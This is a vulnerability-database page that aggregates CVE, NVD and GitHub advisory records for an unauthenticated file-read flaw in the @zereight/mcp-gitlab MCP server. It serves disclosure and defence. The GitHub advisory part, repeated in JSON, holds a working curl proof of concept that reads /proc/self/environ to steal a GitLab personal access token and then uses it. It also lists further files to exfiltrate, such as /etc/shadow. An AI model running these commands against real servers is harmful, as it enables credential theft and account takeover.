Vulnerability-Lookup

CVE-2026-61560 (GCVE-0-2026-61560)

Vulnerability from cvelistv5 – Published: 2026-09-15 21:09 – Updated: 2026-09-16 13:59

Title

@zereight/mcp-gitlab's unauthenticated arbitrary file read via `upload_markdown` enables PAT exfiltration and full account takeover

Summary

`@zereight/mcp-gitlab` is a Model Context Protocol server for GitLab. Prior to version 2.1.27, the SSE transport mode (`SSE=true`) exposes all MCP tools without any authentication. The `upload_markdown` tool reads arbitrary files from the server's local filesystem via an unsanitized `file_path` parameter and uploads them to a GitLab project. Combined, any unauthenticated network-reachable attacker can read `/proc/self/environ` to steal the server's `GITLAB_PERSONAL_ACCESS_TOKEN` and achieve full GitLab account takeover. This is the default configuration for Docker deployments. Version 2.1.27 contains a patch.

Severity

9.8 (Critical)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

SSVC

Exploitation: poc Automatable: yes Technical Impact: total

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-09-16 13:59 UTC

CWE

CWE-22 - Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Assigner

GitHub_M mitre root

References

4 references

URL	Tags
https://github.com/zereight/gitlab-mcp/security/a…	x_refsource_CONFIRM
https://github.com/zereight/gitlab-mcp/pull/482	x_refsource_MISC
https://github.com/zereight/gitlab-mcp/pull/554	x_refsource_MISC
https://github.com/zereight/gitlab-mcp/pull/622	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version	CPE status
zereight	gitlab-mcp	Affected: < 2.1.27	guessed

Show details on NVD website

JSON

To clipboard

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FKIE_CVE-2026-61560

Vulnerability from fkie_nvd - Published: 2026-09-15 22:16 - Updated: 2026-09-16 14:17

Severity

9.8 (Critical) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/zereight/gitlab-mcp/pull/482
	security-advisories@github.com	https://github.com/zereight/gitlab-mcp/pull/554
	security-advisories@github.com	https://github.com/zereight/gitlab-mcp/pull/622
	security-advisories@github.com	https://github.com/zereight/gitlab-mcp/security/advisories/GHSA-cv3r-c5h8-f4g5
	134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/zereight/gitlab-mcp/security/advisories/GHSA-cv3r-c5h8-f4g5

Impacted products

	Vendor	Product	Version

JSON

To clipboard

{
  "affected": [
    {
      "affectedData": [
        {
          "product": "gitlab-mcp",
          "vendor": "zereight",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 2.1.27"
            }
          ]
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    {
      "lang": "en",
      "value": "`@zereight/mcp-gitlab` is a Model Context Protocol server for GitLab. Prior to version 2.1.27, the SSE transport mode (`SSE=true`) exposes all MCP tools without any authentication. The `upload_markdown` tool reads arbitrary files from the server\u0027s local filesystem via an unsanitized `file_path` parameter and uploads them to a GitLab project. Combined, any unauthenticated network-reachable attacker can read `/proc/self/environ` to steal the server\u0027s `GITLAB_PERSONAL_ACCESS_TOKEN` and achieve full GitLab account takeover. This is the default configuration for Docker deployments. Version 2.1.27 contains a patch."
    }
  ],
  "id": "CVE-2026-61560",
  "lastModified": "2026-09-16T14:17:06.550",
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          "baseScore": 9.8,
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          "confidentialityImpact": "HIGH",
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        "source": "security-advisories@github.com",
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GHSA-CV3R-C5H8-F4G5

Vulnerability from github – Published: 2026-09-16 13:48 – Updated: 2026-09-16 13:48

Summary

@zereight/mcp-gitlab: Unauthenticated arbitrary file read via `upload_markdown` enables PAT exfiltration and full account takeover

Details

Summary

The SSE transport mode (SSE=true) exposes all MCP tools without any authentication. The upload_markdown tool reads arbitrary files from the server's local filesystem via an unsanitized file_path parameter and uploads them to a GitLab project. Combined, any unauthenticated network-reachable attacker can read /proc/self/environ to steal the server's GITLAB_PERSONAL_ACCESS_TOKEN and achieve full GitLab account takeover. This is the default configuration for Docker deployments.

Details

Two issues chain together:

1. No authentication on SSE transport (src/index.ts:7350-7388)

When SSE=true (the intended mode for Docker deployments per docker-compose.yaml), the /sse and /messages endpoints have zero authentication middleware. Any HTTP client that can reach the port can establish a session and invoke all ~100+ tools using the server's configured PAT.

// src/index.ts:7354 — no auth check
app.get("/sse", async (_: Request, res: Response) => {
    const serverInstance = createServer();
    const transport = new SSEServerTransport("/messages", res);
    await serverInstance.connect(transport);
});

Remote Authorization (REMOTE_AUTHORIZATION=true) is explicitly incompatible with SSE mode (src/index.ts:1833-1839), so there is no way to add per-request auth in this transport.

2. Arbitrary file read in upload_markdown (src/index.ts:5461-5503)

The upload_markdown tool calls fs.readFileSync(filePath) where filePath comes directly from user input with no validation. The Zod schema (src/schemas.ts:2150-2153) defines file_path as z.string() with no path restrictions, allowlists, or sandboxing.

async function markdownUpload(projectId: string, filePath: string) {
    if (!fs.existsSync(filePath)) {
        throw new Error(`File not found: ${filePath}`);
    }
    const fileBuffer = fs.readFileSync(filePath);  // Arbitrary file read — no path validation
    // ... uploads to GitLab project via POST /projects/:id/uploads
}

This tool is in the users toolset, which is enabled by default.

Docker amplification: The Dockerfile has no USER directive, so the process runs as root. The docker-compose.yaml maps 3002:3002, which binds 0.0.0.0 by default, exposing the unauthenticated endpoint to the network.

PoC

Prerequisites: - A running @zereight/mcp-gitlab instance with SSE=true and GITLAB_PERSONAL_ACCESS_TOKEN set (this is the default Docker deployment config) - Network access to the server's port (default: 3002) - A GitLab project ID the PAT has write access to (use list_projects to enumerate)

Steps:

# 1. Connect to the unauthenticated SSE endpoint and capture the session ID
SESSION_ID=$(curl -s -N http://<HOST>:3002/sse | head -1 | grep -oP 'sessionId=\K[^&\s]+')

# 2. (Optional) Enumerate accessible projects to find a writable project ID
curl -X POST "http://<HOST>:3002/messages?sessionId=$SESSION_ID" \
  -H "Content-Type: application/json" \
  -d '{
    "jsonrpc": "2.0",
    "id": 1,
    "method": "tools/call",
    "params": {
      "name": "list_projects",
      "arguments": {"owned": true}
    }
  }'

# 3. Read /proc/self/environ (contains GITLAB_PERSONAL_ACCESS_TOKEN in plaintext)
#    and upload it to a GitLab project
curl -X POST "http://<HOST>:3002/messages?sessionId=$SESSION_ID" \
  -H "Content-Type: application/json" \
  -d '{
    "jsonrpc": "2.0",
    "id": 2,
    "method": "tools/call",
    "params": {
      "name": "upload_markdown",
      "arguments": {
        "project_id": "<WRITABLE_PROJECT_ID>",
        "file_path": "/proc/self/environ"
      }
    }
  }'

# 4. The response contains a GitLab upload URL like:
#    {"markdown": "![environ](/uploads/abc123def456/environ)", "url": "/uploads/abc123def456/environ"}
#
# 5. Retrieve the uploaded file from GitLab:
curl "https://gitlab.example.com/<namespace>/<project>/uploads/abc123def456/environ"

# 6. The file contains NUL-separated environment variables including:
#    GITLAB_PERSONAL_ACCESS_TOKEN=glpat-xxxxxxxxxxxxxxxxxxxx
#
# 7. Use the stolen PAT for full GitLab API access:
curl -H "Private-Token: glpat-xxxxxxxxxxxxxxxxxxxx" "https://gitlab.example.com/api/v4/user"

Other exfiltrable targets (running as root in Docker):

File	Contents
`/proc/self/environ`	All env vars including `GITLAB_PERSONAL_ACCESS_TOKEN=glpat-xxxxx`
`/proc/self/cmdline`	Command line args (token if passed via CLI)
`/etc/shadow`	System password hashes
`/app/build/index.js`	Full application source code
`~/.gitlab-mcp-token.json`	OAuth tokens (if OAuth mode was used)

Impact

Unauthenticated full GitLab account takeover. Any attacker with network access to the MCP server port can steal the Personal Access Token and gain complete access to the GitLab instance as the token owner - including all repositories, CI/CD secrets and variables, deploy keys, project settings, and admin functions if the user has admin privileges. No credentials or user interaction are required. This is the default configuration for Docker deployments

Severity

9.8 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@zereight/mcp-gitlab"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.1.27"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-61560"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-16T13:48:28Z",
    "nvd_published_at": "2026-09-15T22:16:58Z",
    "severity": "CRITICAL"
  },
  "details": "### Summary\n\nThe SSE transport mode (`SSE=true`) exposes all MCP tools without any authentication. The `upload_markdown` tool reads arbitrary files from the server\u0027s local filesystem via an unsanitized `file_path` parameter and uploads them to a GitLab project. Combined, any unauthenticated network-reachable attacker can read `/proc/self/environ` to steal the server\u0027s `GITLAB_PERSONAL_ACCESS_TOKEN` and achieve full GitLab account takeover. This is the default configuration for Docker deployments.\n\n### Details\n\nTwo issues chain together:\n\n**1. No authentication on SSE transport (`src/index.ts:7350-7388`)**\n\nWhen `SSE=true` (the intended mode for Docker deployments per `docker-compose.yaml`), the `/sse` and `/messages` endpoints have zero authentication middleware. Any HTTP client that can reach the port can establish a session and invoke all ~100+ tools using the server\u0027s configured PAT.\n\n```typescript\n// src/index.ts:7354 \u2014 no auth check\napp.get(\"/sse\", async (_: Request, res: Response) =\u003e {\n    const serverInstance = createServer();\n    const transport = new SSEServerTransport(\"/messages\", res);\n    await serverInstance.connect(transport);\n});\n```\n\nRemote Authorization (`REMOTE_AUTHORIZATION=true`) is explicitly incompatible with SSE mode (`src/index.ts:1833-1839`), so there is no way to add per-request auth in this transport.\n\n**2. Arbitrary file read in `upload_markdown` (`src/index.ts:5461-5503`)**\n\nThe `upload_markdown` tool calls `fs.readFileSync(filePath)` where `filePath` comes directly from user input with no validation. The Zod schema (`src/schemas.ts:2150-2153`) defines `file_path` as `z.string()` with no path restrictions, allowlists, or sandboxing.\n\n```typescript\nasync function markdownUpload(projectId: string, filePath: string) {\n    if (!fs.existsSync(filePath)) {\n        throw new Error(`File not found: ${filePath}`);\n    }\n    const fileBuffer = fs.readFileSync(filePath);  // Arbitrary file read \u2014 no path validation\n    // ... uploads to GitLab project via POST /projects/:id/uploads\n}\n```\n\nThis tool is in the `users` toolset, which is **enabled by default**.\n\n**Docker amplification:** The `Dockerfile` has no `USER` directive, so the process runs as root. The `docker-compose.yaml` maps `3002:3002`, which binds `0.0.0.0` by default, exposing the unauthenticated endpoint to the network.\n\n### PoC\n\n**Prerequisites:**\n- A running `@zereight/mcp-gitlab` instance with `SSE=true` and `GITLAB_PERSONAL_ACCESS_TOKEN` set (this is the default Docker deployment config)\n- Network access to the server\u0027s port (default: 3002)\n- A GitLab project ID the PAT has write access to (use `list_projects` to enumerate)\n\n**Steps:**\n\n```bash\n# 1. Connect to the unauthenticated SSE endpoint and capture the session ID\nSESSION_ID=$(curl -s -N http://\u003cHOST\u003e:3002/sse | head -1 | grep -oP \u0027sessionId=\\K[^\u0026\\s]+\u0027)\n\n# 2. (Optional) Enumerate accessible projects to find a writable project ID\ncurl -X POST \"http://\u003cHOST\u003e:3002/messages?sessionId=$SESSION_ID\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\n    \"jsonrpc\": \"2.0\",\n    \"id\": 1,\n    \"method\": \"tools/call\",\n    \"params\": {\n      \"name\": \"list_projects\",\n      \"arguments\": {\"owned\": true}\n    }\n  }\u0027\n\n# 3. Read /proc/self/environ (contains GITLAB_PERSONAL_ACCESS_TOKEN in plaintext)\n#    and upload it to a GitLab project\ncurl -X POST \"http://\u003cHOST\u003e:3002/messages?sessionId=$SESSION_ID\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\n    \"jsonrpc\": \"2.0\",\n    \"id\": 2,\n    \"method\": \"tools/call\",\n    \"params\": {\n      \"name\": \"upload_markdown\",\n      \"arguments\": {\n        \"project_id\": \"\u003cWRITABLE_PROJECT_ID\u003e\",\n        \"file_path\": \"/proc/self/environ\"\n      }\n    }\n  }\u0027\n\n# 4. The response contains a GitLab upload URL like:\n#    {\"markdown\": \"![environ](/uploads/abc123def456/environ)\", \"url\": \"/uploads/abc123def456/environ\"}\n#\n# 5. Retrieve the uploaded file from GitLab:\ncurl \"https://gitlab.example.com/\u003cnamespace\u003e/\u003cproject\u003e/uploads/abc123def456/environ\"\n\n# 6. The file contains NUL-separated environment variables including:\n#    GITLAB_PERSONAL_ACCESS_TOKEN=glpat-xxxxxxxxxxxxxxxxxxxx\n#\n# 7. Use the stolen PAT for full GitLab API access:\ncurl -H \"Private-Token: glpat-xxxxxxxxxxxxxxxxxxxx\" \"https://gitlab.example.com/api/v4/user\"\n```\n\n**Other exfiltrable targets (running as root in Docker):**\n\n| File | Contents |\n|---|---|\n| `/proc/self/environ` | All env vars including `GITLAB_PERSONAL_ACCESS_TOKEN=glpat-xxxxx` |\n| `/proc/self/cmdline` | Command line args (token if passed via CLI) |\n| `/etc/shadow` | System password hashes |\n| `/app/build/index.js` | Full application source code |\n| `~/.gitlab-mcp-token.json` | OAuth tokens (if OAuth mode was used) |\n\n### Impact\n\n**Unauthenticated full GitLab account takeover.** Any attacker with network access to the MCP server port can steal the Personal Access Token and gain complete access to the GitLab instance as the token owner - including all repositories, CI/CD secrets and variables, deploy keys, project settings, and admin functions if the user has admin privileges. No credentials or user interaction are required. This is the default configuration for Docker deployments",
  "id": "GHSA-cv3r-c5h8-f4g5",
  "modified": "2026-09-16T13:48:28Z",
  "published": "2026-09-16T13:48:28Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/zereight/gitlab-mcp/security/advisories/GHSA-cv3r-c5h8-f4g5"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-61560"
    },
    {
      "type": "WEB",
      "url": "https://github.com/zereight/gitlab-mcp/pull/482"
    },
    {
      "type": "WEB",
      "url": "https://github.com/zereight/gitlab-mcp/pull/554"
    },
    {
      "type": "WEB",
      "url": "https://github.com/zereight/gitlab-mcp/pull/622"
    },
    {
      "type": "WEB",
      "url": "https://github.com/zereight/gitlab-mcp/commit/e436ee4ad067b64584ec9312c9e9c9a2641c1976"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/zereight/gitlab-mcp"
    },
    {
      "type": "WEB",
      "url": "https://github.com/zereight/gitlab-mcp/releases/tag/v2.1.27"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "@zereight/mcp-gitlab: Unauthenticated arbitrary file read via `upload_markdown` enables PAT exfiltration and full account takeover"
}

Sightings

Author	Source	Type	Date	Other

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Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
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Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

CVE-2026-61560 (GCVE-0-2026-61560)

FKIE_CVE-2026-61560

GHSA-CV3R-C5H8-F4G5

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